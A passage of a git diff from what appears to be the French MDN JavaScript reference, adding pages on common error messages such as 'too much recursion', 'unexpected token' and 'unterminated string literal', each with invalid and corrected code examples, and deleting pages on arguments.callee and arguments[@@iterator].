var enum = { RED: 0, GREEN: 1, BLUE: 2 };
+// SyntaxError: enum is a reserved identifier
+
+ +

En mode strict, d'autres mots-clés sont réservés :

+ +
"use strict";
+var package = ["pomme", "poire", "pêches"];
+// SyntaxError: package is a reserved identifier
+
+ +

Pour ne pas avoir l'erreur, il faudra renommer les variables :

+ +
var enumCouleurs = { RED: 0, GREEN: 1, BLUE: 2 };
+var liste = ["pomme", "poire", "pêches"];
+ +

Mettre à jour les anciens navigateurs

+ +

Si vous utilisez un ancien navigateur qui n'implémente pas let ou class, vous devrez mettre à jour votre navigateur :

+ +
"use strict";
+class DocArchiver {}
+
+// SyntaxError: class is a reserved identifier
+// (lève une exception dans les anciens navigateurs
+// tels que Firefox 44 et les versions antérieures)
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/resulting_string_too_large/index.html b/files/fr/web/javascript/reference/errors/resulting_string_too_large/index.html new file mode 100644 index 0000000000..b42c358fb2 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/resulting_string_too_large/index.html @@ -0,0 +1,49 @@ +--- +title: 'RangeError: repeat count must be less than infinity' +slug: Web/JavaScript/Reference/Erreurs/Resulting_string_too_large +tags: + - Erreurs + - JavaScript + - RangeError +translation_of: Web/JavaScript/Reference/Errors/Resulting_string_too_large +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
RangeError: argument out of range (Edge)
+RangeError: repeat count must be less than infinity and not overflow maximum string size (Firefox)
+RangeError: Invalid count value (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("RangeError")}}

+ +

Quel est le problème ?

+ +

La méthode {{jsxref("String.prototype.repeat()")}}, qui permet de répéter une chaîne de caractères, a été utilisée avec un argument qui n'est pas compris entre 0 et {{jsxref("Infinity")}} (exclue) (ce qui correspond à l'intervalle [0, +∞))

+ +

La chaîne de caractères crée par cette méthode ne doit pas dépasser la taille maximale d'une chaîne. Cette taille varie selon le moteur JavaScript. Pour Firefox (SpiderMonkey), la taille maximale d'une chaîne de caractères vaut 228 -1 (0xFFFFFFF).

+ +

Exemples

+ +

Exemples invalides

+ +
'abc'.repeat(Infinity); // RangeError
+'a'.repeat(2**28);      // RangeError
+
+ +

Exemples valides

+ +
'abc'.repeat(0);    // ''
+'abc'.repeat(1);    // 'abc'
+'abc'.repeat(2);    // 'abcabc'
+'abc'.repeat(3.5);  // 'abcabcabc' (count will be converted to integer)
+
+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.repeat()")}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/stmt_after_return/index.html b/files/fr/web/javascript/reference/errors/stmt_after_return/index.html new file mode 100644 index 0000000000..5a204b96d4 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/stmt_after_return/index.html @@ -0,0 +1,79 @@ +--- +title: 'Warning: unreachable code after return statement' +slug: Web/JavaScript/Reference/Erreurs/Stmt_after_return +tags: + - JavaScript + - Warning +translation_of: Web/JavaScript/Reference/Errors/Stmt_after_return +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
Warning: unreachable code after return statement (Firefox)
+
+ +

Type d'erreur

+ +

Avertissement

+ +

Quel est le problème ?

+ +

Ce problème peut avoir deux origines :

+ +
    +
  • Une expression a été utilisée après l'instruction {{jsxref("Instructions/return", "return")}}
    • +
  • Une instruction return a été utilisée sans point virgule mais une expression suivait cette instruction.
    • +
+ +

Lorsqu'une expression existe après une instruction return valide, un avertissement est produit pour alerter qu'une portion du code ne peut pas être atteinte et ne sera donc jamais lue et exécutée.

+ +

Pourquoi est-il préférable d'ajouter des points-virgules après les instructions return ? Si on utilise une instruction return sans point-virgule, cela peut créer une ambiguïté : est-ce que le développeur souhaite que le code qui suit sur la ligne d'après soit exécuté ou non ? L'avertissement relève cette ambiguïté afin de mieux la percevoir pour la lever.

+ +

Les avertissements ne seront pas affichés pour les return sans point-virgule si ces instructions suivent :

+ +
    +
  • {{jsxref("Instructions/throw", "throw")}}
    • +
  • {{jsxref("Instructions/break", "break")}}
    • +
  • {{jsxref("Instructions/var", "var")}}
    • +
  • {{jsxref("Instructions/function", "function")}}
    • +
+ +

Exemples

+ +

Exemples invalides

+ +
function f() {
+  var x = 3;
+  x += 4;
+  return x;   // return permet de finir la fonction sur le champ
+  x -= 3;     // Cette ligne ne sera jamais lue donc exécutée
+}
+
+function f() {
+  return     // Cette instruction est traitée `return;`
+    3 + 4;   // La fonction termine et cette ligne n'est jamais traitée
+}
+
+ +

Exemples valides

+ +
function f() {
+  var x = 3;
+  x += 4;
+  x -= 3;
+  return x;  // OK : return est après
+             // toutes les autres instructions
+}
+
+function f() {
+  return 3 + 4  // OK : un return sans point-virgule
+                // avec une expression sur la même ligne
+}
+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Instructions/return", "L'ajout automatique de point-virgule", "#Ajout_automatique_de_point-virgule", 1)}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/strict_non_simple_params/index.html b/files/fr/web/javascript/reference/errors/strict_non_simple_params/index.html new file mode 100644 index 0000000000..5e931452e5 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/strict_non_simple_params/index.html @@ -0,0 +1,115 @@ +--- +title: 'SyntaxError: "use strict" not allowed in function with "x" parameter' +slug: Web/JavaScript/Reference/Erreurs/Strict_Non_Simple_Params +tags: + - Erreurs + - JavaScript + - Reference + - TypeError +translation_of: Web/JavaScript/Reference/Errors/Strict_Non_Simple_Params +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
Edge:
+Cannot apply strict mode on functions with non-simple parameter list
+
+Firefox:
+SyntaxError: "use strict" not allowed in function with default parameter
+SyntaxError: "use strict" not allowed in function with rest parameter
+SyntaxError: "use strict" not allowed in function with destructuring parameter
+
+Chrome:
+SyntaxError: Illegal 'use strict' directive in function with non-simple parameter list
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}.

+ +

Quel est le problème ?

+ +

Une directive "use strict" apparaît au début d'une fonction qui possède l'un des paramètres suivants :

+ +
    +
  • {{jsxref("Fonctions/Valeurs_par_défaut_des_arguments", "Des paramètres par défaut", "", 1)}}
    • +
  • {{jsxref("Fonctions/paramètres_du_reste", "Des paramètres du reste", "", 1)}}
    • +
  • {{jsxref("Opérateurs/Affecter_par_décomposition", "Des paramètres décomposés", "", 1)}}
    • +
+ +

Selon la spécification ECMAScript, une directive "use strict" ne peut pas être utilisée pour de telles fonctions.

+ +

Exemples

+ +

Déclaration de fonction

+ +

Dans l'exemple qui suit, la fonction somme possède deux paramètres par défaut a=1 et b=2.

+ +
function somme(a = 1, b = 2) {
+  // SyntaxError: "use strict" not allowed in function with default parameter
+  "use strict";
+  return a + b;
+}
+
+ +

Si on veut que la fonction soit en mode strict et que le script entier ou que la fonction englobante peut être en mode strict, il suffira de déplacer l'instruction "use strict" en dehors du corps de la méthode.

+ +
"use strict";
+function somme(a = 1, b = 2) {
+  return a + b;
+}
+
+ +

Expression de fonction

+ +

Il est également possible d'utiliser les expressions de fonction pour résoudre ce problème :

+ +
var somme = function somme([a, b]) {
+  // SyntaxError: "use strict" not allowed in function with destructuring parameter
+  "use strict";
+  return a + b;
+};
+
+ +

On peut convertir le fragment de code précédent avec l'expression suivante :

+ +
var somme = (function() {
+  "use strict";
+  return function somme([a, b]) {
+    return a + b;
+  };
+})();
+
+ +

Fonction fléchée

+ +

Si on a une fonction fléchée qui doit accéder à la variable this on peut utiliser une fonction fléchée comme fonction englobante :

+ +
var callback = (...args) => {
+  // SyntaxError: "use strict" not allowed in function with rest parameter
+  "use strict";
+  return this.run(args);
+};
+
+ +

This can be converted into following expression.

+ +
var callback = (() => {
+  "use strict";
+  return (...args) => {
+    return this.run(args);
+  };
+})();
+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Strict_mode", "Le mode strict", "", 1)}}
    • +
  • {{jsxref("Instructions/function", "L'instruction function", "", 1)}}
    • +
  • {{jsxref("Op%C3%A9rateurs/L_op%C3%A9rateur_function", "Les expressions de fonction", "", 1)}}
    • +
  • {{jsxref("Fonctions/Valeurs_par_d%C3%A9faut_des_arguments", "Les paramètres par défaut", "", 1)}}
    • +
  • {{jsxref("Fonctions/paramètres_du_reste", "Les paramètres du reste", "", 1)}}
    • +
  • {{jsxref("Opérateurs/Affecter_par_décomposition", "Les paramètres décomposés", "", 1)}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/too_much_recursion/index.html b/files/fr/web/javascript/reference/errors/too_much_recursion/index.html new file mode 100644 index 0000000000..1e7bf8c0d0 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/too_much_recursion/index.html @@ -0,0 +1,69 @@ +--- +title: 'InternalError: too much recursion' +slug: Web/JavaScript/Reference/Erreurs/Too_much_recursion +tags: + - Erreurs + - InternalError + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Errors/Too_much_recursion +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
Error: Out of stack space (Edge)
+InternalError: too much recursion (Firefox)
+RangeError: Maximum call stack size exceeded (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("InternalError")}}.

+ +

Quel est le problème ?

+ +

Une fonction qui s'appelle elle-même est une fonction recursive. Lorsqu'une certaine condition est respectée, la fonction arrête de s'appeler elle-même, c'est ce qu'on appelle le cas initial.

+ +

D'une certaine façon, une récursion est semblable à une boucle. Les deux exécutent le même code plusieurs fois, et les deux ont besoin d'une condition d'arrêt afin d'éviter une boucle infinie ou une récursion infinie. Lorsqu'il y a trop de niveaux de récursion ou une récursion infinie, JavaScript lèvera cette erreur.

+ +

Exemples

+ +

Cette fonction récursive est exécutée 10 fois comme l'indique la condition de sortie :

+ +
function loop(x) {
+  if (x >= 10) // "x >= 10" is the exit condition
+    return;
+  // do stuff
+  loop(x + 1); // the recursive call
+}
+loop(0);
+ +

Si la condition d'arrêt est beaucoup trop grande, cela ne fonctionnera pas :

+ +
function loop(x) {
+  if (x >= 1000000000000)
+    return;
+  // do stuff
+  loop(x + 1);
+}
+loop(0);
+
+// InternalError: too much recursion
+ +

Si la fonction récursive ne possède pas de cas initial, il n'y aura pas de condition de sortie et la fonction continuera de s'appeler indéfiniment.

+ +
function boucle(x) {
+  boucle(x + 1);
+  // il n'y a pas de cas initial
+}
+
+boucle(0);
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/typed_array_invalid_arguments/index.html b/files/fr/web/javascript/reference/errors/typed_array_invalid_arguments/index.html new file mode 100644 index 0000000000..b467aa1c4e --- /dev/null +++ b/files/fr/web/javascript/reference/errors/typed_array_invalid_arguments/index.html @@ -0,0 +1,76 @@ +--- +title: 'TypeError: invalid arguments' +slug: Web/JavaScript/Reference/Erreurs/Typed_array_invalid_arguments +tags: + - Erreurs + - JavaScript + - TypeError +translation_of: Web/JavaScript/Reference/Errors/Typed_array_invalid_arguments +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
TypeError: invalid arguments (Firefox)
+ +

Type d'erreur

+ +

{{jsxref("TypeError")}}

+ +

Quel est le problème ?

+ +

Les constructeurs de tableaux typés ont besoin :

+ +
    +
  • d'une longueur,
    • +
  • d'un autre tableau typé,
    • +
  • d'un objet semblable à un tableau,
    • +
  • d'un objet itérable
    • +
  • ou d'un objet {{jsxref("ArrayBuffer")}}
    • +
+ +

afin de créer un nouveau tableau typé. Si on utilise un autre argument, on ne pourra pas créer de tableau typé valide.

+ +

Exemples

+ +

Il est par exemple impossible de construire un tableau typé {{jsxref("Uint8Array")}} à partir d'une chaîne de caractères :

+ +
var ta = new Uint8Array("nope");
+// TypeError: invalid arguments
+
+ +

Voici différentes façons de créer un tableau typué {{jsxref("Uint8Array")}} :

+ +
// À partir d'une longueur
+var uint8 = new Uint8Array(2);
+uint8[0] = 42;
+console.log(uint8[0]); // 42
+console.log(uint8.length); // 2
+console.log(uint8.BYTES_PER_ELEMENT); // 1
+
+// À partir d'un tableau
+var arr = new Uint8Array([21,31]);
+console.log(arr[1]); // 31
+
+// À partir d'un autre tableau typé
+var x = new Uint8Array([21, 31]);
+var y = new Uint8Array(x);
+console.log(y[0]); // 21
+
+// À partir d'un ArrayBuffer
+var buffer = new ArrayBuffer(8);
+var z = new Uint8Array(buffer, 1, 4);
+
+// À partir d'un itérable
+var iterable = function*(){ yield* [1,2,3]; }();
+var uint8 = new Uint8Array(iterable);
+// Uint8Array[1, 2, 3]
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/undeclared_var/index.html b/files/fr/web/javascript/reference/errors/undeclared_var/index.html new file mode 100644 index 0000000000..98ff95210a --- /dev/null +++ b/files/fr/web/javascript/reference/errors/undeclared_var/index.html @@ -0,0 +1,66 @@ +--- +title: 'ReferenceError: assignment to undeclared variable "x"' +slug: Web/JavaScript/Reference/Erreurs/Undeclared_var +tags: + - Erreurs + - JavaScript + - ReferenceError +translation_of: Web/JavaScript/Reference/Errors/Undeclared_var +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
ReferenceError: assignment to undeclared variable "x" (Firefox)
+ReferenceError: "x" is not defined (Chrome)
+ReferenceError: Variable undefined in strict mode (Edge)
+
+ +

Type d'erreur

+ +

Une erreur {{jsxref("ReferenceError")}}, uniquement en mode strict.

+ +

Quel est le problème ?

+ +

Une valeur a été affectée à une variable non-déclarée. Autrement dit, il y a eu une affectation qui n'utilise pas le mot-clé var. Il existe certaines différences entre les variables déclarées et les variables non déclarées ce qui peut entraîner des résultats étranges. C'est pour cette raison que le moteur affiche une erreur en mode strict.

+ +

Trois choses à noter lorsqu'on évoque les variables déclarées/non déclarées :

+ +
    +
  • Les variables déclarées sont contraintes dans le contexte d'exécution dans lequel elles sont déclarées. Les variables non déclarées sont toujours globales.
    • +
  • Les variables déclarées sont créées avant que le code soit exécuté. Les variables non déclarées n'existent pas tant que le code qui leur est affecté est exécuté.
    • +
  • Les variables déclarées sont des propriétés non-configurables de leur contexte d'exécution (la fonction ou l'espace global). Les variables non-déclarées sont configurables (elles peuvent être supprimées).
    • +
+ +

Pour plus de détails et d'exemple, se référer à la page sur var.

+ +

Les erreurs à propos des affectations sur les variables non déclarées se produisent uniquement en mode strict. En mode non-strict, elles sont ignorées silencieusement.

+ +

Exemples

+ +

Exemples invalides

+ +

Ici, la variable truc n'est pas déclarée :

+ +
function toto() {
+  "use strict";
+  truc = true;
+}
+toto(); // ReferenceError: assignment to undeclared variable truc
+
+ +

Exemples valides

+ +

Afin de déclarer truc, on peut ajouter le mot-clé var devant.

+ +
function toto() {
+  "use strict";
+  var truc = true;
+}
+toto();
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/undefined_prop/index.html b/files/fr/web/javascript/reference/errors/undefined_prop/index.html new file mode 100644 index 0000000000..00ae0a348b --- /dev/null +++ b/files/fr/web/javascript/reference/errors/undefined_prop/index.html @@ -0,0 +1,57 @@ +--- +title: 'ReferenceError: reference to undefined property "x"' +slug: Web/JavaScript/Reference/Erreurs/Undefined_prop +tags: + - Erreurs + - JavaScript + - Reference + - ReferenceError +translation_of: Web/JavaScript/Reference/Errors/Undefined_prop +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
ReferenceError: reference to undefined property "x" (Firefox)
+
+ +

Type d'erreur

+ +

Uniquement pour Firefox. Une erreur {{jsxref("ReferenceError")}} lancée en avertissement, uniquement si la préférence javascript.options.strict vaut true.

+ +

Quel est le problème ?

+ +

Le code tente d'accéder à une propriété inexistante d'un objet. Il existe deux méthodes pour accéder aux propriétés. Pour plus de détails, on pourra lire la page de la référence sur les accesseurs de propriété.

+ +

Exemples

+ +

Exemples invalides

+ +

Ici, la propriété truc n'est pas une propriété définie et on obtient alors une ReferenceError.

+ +
"use strict";
+
+var toto = {};
+toto.truc; // ReferenceError: reference to undefined property "bar"
+
+ +

Exemples valides

+ +

Pour éviter cette erreur, il faut que truc soit une variable  « définie » ou vérifier son existence avant de l'utiliser (en utilisant par exemple la méthode {{jsxref("Object.prototype.hasOwnProperty()")}}).

+ +
"use strict";
+
+var toto = {};
+
+toto.truc = "lune";
+console.log(toto.truc); // "lune"
+
+if (foo.hasOwnProperty("truc")) {
+  console.log(toto.truc);
+}
+ +

Voir aussi

+ +
    +
  • {{jsxref("Opérateurs/Opérateurs_de_membres", "Accesseurs de propriété", 0, 1)}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/unexpected_token/index.html b/files/fr/web/javascript/reference/errors/unexpected_token/index.html new file mode 100644 index 0000000000..309f05e1ca --- /dev/null +++ b/files/fr/web/javascript/reference/errors/unexpected_token/index.html @@ -0,0 +1,77 @@ +--- +title: 'SyntaxError: Unexpected token' +slug: Web/JavaScript/Reference/Erreurs/Unexpected_token +tags: + - Erreurs + - JavaScript + - Reference + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Unexpected_token +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: expected expression, got "x"
+SyntaxError: expected property name, got "x"
+SyntaxError: expected target, got "x"
+SyntaxError: expected rest argument name, got "x"
+SyntaxError: expected closing parenthesis, got "x"
+SyntaxError: expected '=>' after argument list, got "x"
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}

+ +

Quel est le problème ?

+ +

La syntaxe du langage « attendait » un élément mais quelque chose d'autre est écrit à la place dans le script. Cela peut simplement être dû à une coquille dans le code.

+ +

Exemples

+ +

Expression attendue

+ +

Lorsqu'on enchaîne des expressions, par exemple, les virgules ne sont pas autorisées en fin d'expression :

+ +
for (let i = 0; i < 5,; ++i) {
+  console.log(i);
+}
+// SyntaxError: expected expression, got ')'
+
+ +

Pour corriger cette erreur, on peut retirer la virgule superflue ou bien ajouter une autre expression :

+ +
for (let i = 0; i < 5; ++i) {
+  console.log(i);
+}
+
+ +

Parenthèses manquantes

+ +

Il peut également arriver que des parenthèses manquent autour des instructions if :

+ +
function round(n, upperBound, lowerBound){
+  if(n > upperBound) || (n < lowerBound){
+    throw 'Number ' + String(n) + ' is more than ' + String(upperBound) + ' or less than ' + String(lowerBound);
+  }else if(n < ((upperBound + lowerBound)/2)){
+    return lowerBound;
+  }else{
+    return upperBound;
+  }
+} // SyntaxError: expected expression, got '||'
+ +

Si on compte les parenthèses ouvrantes et fermantes, c'est correct mais on peut voir que le OU logique (||) n'est contenu au sein d'aucune paire de parenthèses.

+ +

Pour corriger ce problème, il suffit d'ajouter une paire de parenthèses englobante :

+ +
function round(n, upperBound, lowerBound){
+  if((n > upperBound) || (n < lowerBound)){
+    throw 'Number ' + String(n) + ' is more than ' + String(upperBound) + ' or less than ' + String(lowerBound);
+  }else if(n < ((upperBound + lowerBound)/2)){
+    return lowerBound;
+  }else{
+    return upperBound;
+  }
+}
+
diff --git a/files/fr/web/javascript/reference/errors/unexpected_type/index.html b/files/fr/web/javascript/reference/errors/unexpected_type/index.html new file mode 100644 index 0000000000..bda5c39eb9 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/unexpected_type/index.html @@ -0,0 +1,73 @@ +--- +title: 'TypeError: "x" is (not) "y"' +slug: Web/JavaScript/Reference/Erreurs/Unexpected_type +tags: + - Erreurs + - JavaScript + - Reference + - TypeError +translation_of: Web/JavaScript/Reference/Errors/Unexpected_type +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
TypeError: Unable to get property {x} of undefined or null reference (Edge)
+TypeError: "x" is (not) "y" (Firefox)
+
+Examples:
+TypeError: "x" is undefined
+TypeError: "x" is null
+TypeError: "undefined" is not an object
+TypeError: "x" is not an object or null
+TypeError: "x" is not a symbol
+
+ +

Type d'erreur

+ +

{{jsxref("TypeError")}}.

+ +

Quel est le problème ?

+ +

Un type inattendu a été rencontré. Cela se produit la plupart du temps avec les valeurs {{jsxref("undefined")}} ou {{jsxref("null")}}.

+ +

Certaines méthodes comme {{jsxref("Object.create()")}} ou {{jsxref("Symbol.keyFor()")}} ont des contraintes sur le type de valeur qui peut être passé en argument.

+ +

Exemples

+ +

Exemples invalides

+ +
// undefined et null : des valeurs
+// sur lesquelles la méthode substring
+// ne fonctionnera pas
+var toto = undefined;
+toto.substring(1); // TypeError: toto is undefined
+
+var toto = null;
+toto.substring(1); // TypeError: toto is null
+
+
+// Certaines méthodes nécessitent une valeur
+// d'un type spécifique
+var toto = {}
+Symbol.keyFor(toto); // TypeError: toto is not a symbol
+
+var toto = "truc"
+Object.create(toto); // TypeError: "toto" is not an object or null
+
+ +

Résoudre le problème

+ +

Pour résoudre ce problème et écarter les cas où la valeur vaut undefined, on peut par exemple utiliser l'opérateur typeof.

+ +
if (typeof toto !== 'undefined') {
+  // Désormais, on sait que toto est bien
+  // défini et on peut poursuivre.
+}
+ +

Voir aussi

+ +
    +
  • {{jsxref("undefined")}}
    • +
  • {{jsxref("null")}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/unnamed_function_statement/index.html b/files/fr/web/javascript/reference/errors/unnamed_function_statement/index.html new file mode 100644 index 0000000000..690e4b3f3e --- /dev/null +++ b/files/fr/web/javascript/reference/errors/unnamed_function_statement/index.html @@ -0,0 +1,115 @@ +--- +title: 'SyntaxError: function statement requires a name' +slug: Web/JavaScript/Reference/Erreurs/Unnamed_function_statement +tags: + - Erreurs + - JavaScript + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Unnamed_function_statement +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
Syntax Error: Expected identifier (Edge)
+SyntaxError: function statement requires a name [Firefox]
+SyntaxError: Unexpected token ( [Chrome]
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}

+ +

Quel est le problème ?

+ +

Une déclaration de fonction présente dans le code requiert un nom. Il faut alors vérifier la façon dont la fonction est définie et s'il est nécessaire de lui fournir un nom ou si la fonction en question est une expression de fonction, une fonction immédiatement invoquée ou si le code de la fonction est simplement bien placé dans son contexte.

+ +

Exemples

+ +

Déclaration / Expression

+ +

Une déclaration de fonction requiert un nom. Le fragment de code suivant ne fonctionnera pas :

+ +
function () {
+  return 'Coucou monde :)';
+}
+// SyntaxError: function statement requires a name
+
+ +

On peut utiliser une expression de fonction à la place :

+ +
var salutations = function() {
+  return 'Coucou monde :)';
+};
+ +

Si la fonction devait être appelé immédiatement, il suffit d'ajouter des parenthèses autour :

+ +
(function () {
+
+})();
+ +

Fonctions étiquetées

+ +

Si vous utilisez des fonctions étiquetées, il faut toujours fournir un nom après le mot-clé function. Le code suivant ne fonctionnera pas :

+ +
function Greeter() {
+  german: function () {
+    return "Moin";
+  }
+}
+// SyntaxError: function statement requires a name
+
+ +

En revanche, ceci fonctionnera :

+ +
function Greeter() {
+  german: function g() {
+    return "Moin";
+  }
+}
+ +

Méthodes d'un objet

+ +

Si vous souhaitez construire une méthode d'un objet, il faudra d'abord créer l'objet. Dans ce cas, la syntaxe sans le nom après le mot-clé function sera valide :

+ +
var greeter = {
+  german: function () {
+    return "Moin";
+  }
+};
+ +

Syntaxe et fonctions de rappel (callbacks)

+ +

Lorsqu'on utilise les callbacks, il est facile de s'emmêler les pinceaux entre les parenthèses et les virgules :

+ +
promise.then(
+  function() {
+    console.log("success");
+  });
+  function() {
+    console.log("error");
+}
+// SyntaxError: function statement requires a name
+
+ +

La forme correcte serait :

+ +
promise.then(
+  function() {
+    console.log("success");
+  },
+  function() {
+    console.log("error");
+  }
+);
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/unterminated_string_literal/index.html b/files/fr/web/javascript/reference/errors/unterminated_string_literal/index.html new file mode 100644 index 0000000000..db0260c915 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/unterminated_string_literal/index.html @@ -0,0 +1,77 @@ +--- +title: 'SyntaxError: unterminated string literal' +slug: Web/JavaScript/Reference/Erreurs/Unterminated_string_literal +tags: + - Erreurs + - JavaScript + - Reference + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Unterminated_string_literal +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: Unterminated string constant (Edge)
+SyntaxError: unterminated string literal (Firefox)
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}

+ +

Quel est le problème ?

+ +

Une chaîne de caractères ({{jsxref("String")}}) n'est pas bien délimitée quelque part. Les littéraux de chaînes de caractères doivent être délimités par des simples quotes (') ou par des doubles quotes ("). Les séquences d'échappement permet de représenter dans ces chaînes de caractères. Pour réparer cette erreur :

+ +
    +
  • Vérifiez que la chaîne est bien délimitée au début et à la fin par des doubles quotes ou par des simples quotes,
    • +
  • Vérifiez que les caractères spéciaux de la chaîne ont bien été échappés,
    • +
  • Vérifiez que le littéral est bien découpé pour gérer plusieurs lignes (si c'est le cas).
    • +
+ +

Exemples

+ +

Gérer plusieurs lignes

+ +

En JavaScript, on ne peut pas écrire une chaîne simple sur plusieurs lignes comme ceci :

+ +
var longString = "This is a very long string which needs
+                  to wrap across multiple lines because
+                  otherwise my code is unreadable.";
+// SyntaxError: unterminated string literal
+ +

Pour écrire une chaîne sur plusieurs lignes, on pourra utiliser :

+ + + +

Voici la première variante avec l'opérateur de concaténation :

+ +
var longString = "This is a very long string which needs " +
+                 "to wrap across multiple lines because " +
+                 "otherwise my code is unreadable.";
+
+ +

Sinon, on peut utiliser une barre oblique inversée à la fin de chaque ligne pour indiquer qu'elle continue sur la ligne suivante. Attention, il faudra qu'il n'y ait aucun espace ou autre caractère après la barre oblique (il peut bien entendu y avoir un saut de ligne) :

+ +
var longString = "This is a very long string which needs \
+to wrap across multiple lines because \
+otherwise my code is unreadable.";
+
+ +

On pourra également utiliser les littéraux de gabarits qui sont pris en charge par les environnement ECMAScript 2015 :

+ +
var longString = `This is a very long string which needs
+                  to wrap across multiple lines because
+                  otherwise my code is unreadable.`;
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/var_hides_argument/index.html b/files/fr/web/javascript/reference/errors/var_hides_argument/index.html new file mode 100644 index 0000000000..44ba49c346 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/var_hides_argument/index.html @@ -0,0 +1,55 @@ +--- +title: 'TypeError: variable "x" redeclares argument' +slug: Web/JavaScript/Reference/Erreurs/Var_hides_argument +tags: + - Erreurs + - JavaScript + - TypeError +translation_of: Web/JavaScript/Reference/Errors/Var_hides_argument +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
TypeError: variable "x" redeclares argument (Firefox)
+
+ +

Type d'erreur

+ +

Une erreur {{jsxref("TypeError")}}, uniquement en mode strict.

+ +

Quel est le problème ?

+ +

Le même nom de variable est utilisé comme nom pour un paramètre et comme nom de variable via une affectation var. Cela peut être lié à un conflit de nommage et le moteur envoie un avertissement.

+ +

Cette erreur ne se produit qu'en mode strict. Pour du code non-strict, la redéclaration est ignorée silencieusement..

+ +

Exemples

+ +

Exemples invalides

+ +

Ici, la variable arg redéclare l'argument de la fonction :

+ +
"use strict";
+
+function f(arg) {
+  var arg = "foo";
+}
+
+ +

Exemples valides

+ +

Pour résoudre ce problème, on pourra généralement retirer l'instruction var car la variable existe déjà et peut être utilisée. Si on ne veut pas utiliser cette même variable, mieux vaudra renommer le paramètre ou la variable interne afin de lever l'ambiguïté.

+ +
"use strict";
+
+function f(arg) {
+  arg = "foo";
+}
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/fonctions/arguments/@@iterator/index.html b/files/fr/web/javascript/reference/fonctions/arguments/@@iterator/index.html deleted file mode 100644 index d9cd086019..0000000000 --- a/files/fr/web/javascript/reference/fonctions/arguments/@@iterator/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: 'arguments[@@iterator]()' -slug: Web/JavaScript/Reference/Fonctions/arguments/@@iterator -tags: - - Déprécié - - Fonctions - - JavaScript - - Propriété - - Reference - - arguments -translation_of: Web/JavaScript/Reference/Functions/arguments/@@iterator ---- -
{{jsSidebar("Functions")}}
- -

La valeur initiale de la propriété @@iterator est le même objet que la fonction utilisée pour la valeur initiale de la propriété {{jsxref("Array.prototype.values")}}.

- -

Syntaxe

- -
arguments[Symbol.iterator]()
- -

Exemples

- -

Utiliser une boucle for...of

- -
function f() {
-  // votre environnement doit supporter les
-  // boucles for..of et les variables
-  // définies avec let dans les boucles
-  for (let letter of arguments) {
-    console.log(letter);
-  }
-}
-f('w', 'y', 'k', 'o', 'p');
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES6', '#sec-createunmappedargumentsobject', ' CreateUnmappedArgumentsObject')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ES6', '#sec-createmappedargumentsobject', ' CreateMappedArgumentsObject')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-createunmappedargumentsobject', 'CreateUnmappedArgumentsObject')}}{{Spec2('ESDraft')}} 
{{SpecName('ESDraft', '#sec-createmappedargumentsobject', 'CreateMappedArgumentsObject')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.functions.arguments.@@iterator")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.values()")}}
    • -
diff --git a/files/fr/web/javascript/reference/fonctions/arguments/callee/index.html b/files/fr/web/javascript/reference/fonctions/arguments/callee/index.html deleted file mode 100644 index 9a94838ad0..0000000000 --- a/files/fr/web/javascript/reference/fonctions/arguments/callee/index.html +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: callee -slug: Web/JavaScript/Reference/Fonctions/arguments/callee -tags: - - Déprécié - - Fonctions - - JavaScript - - Propriété - - Reference - - arguments -translation_of: Web/JavaScript/Reference/Functions/arguments/callee ---- -
{{jsSidebar("Functions")}}{{deprecated_header}}
- -

La propriété arguments.callee contient la fonction en cours d'exécution.

- -

Description

- -

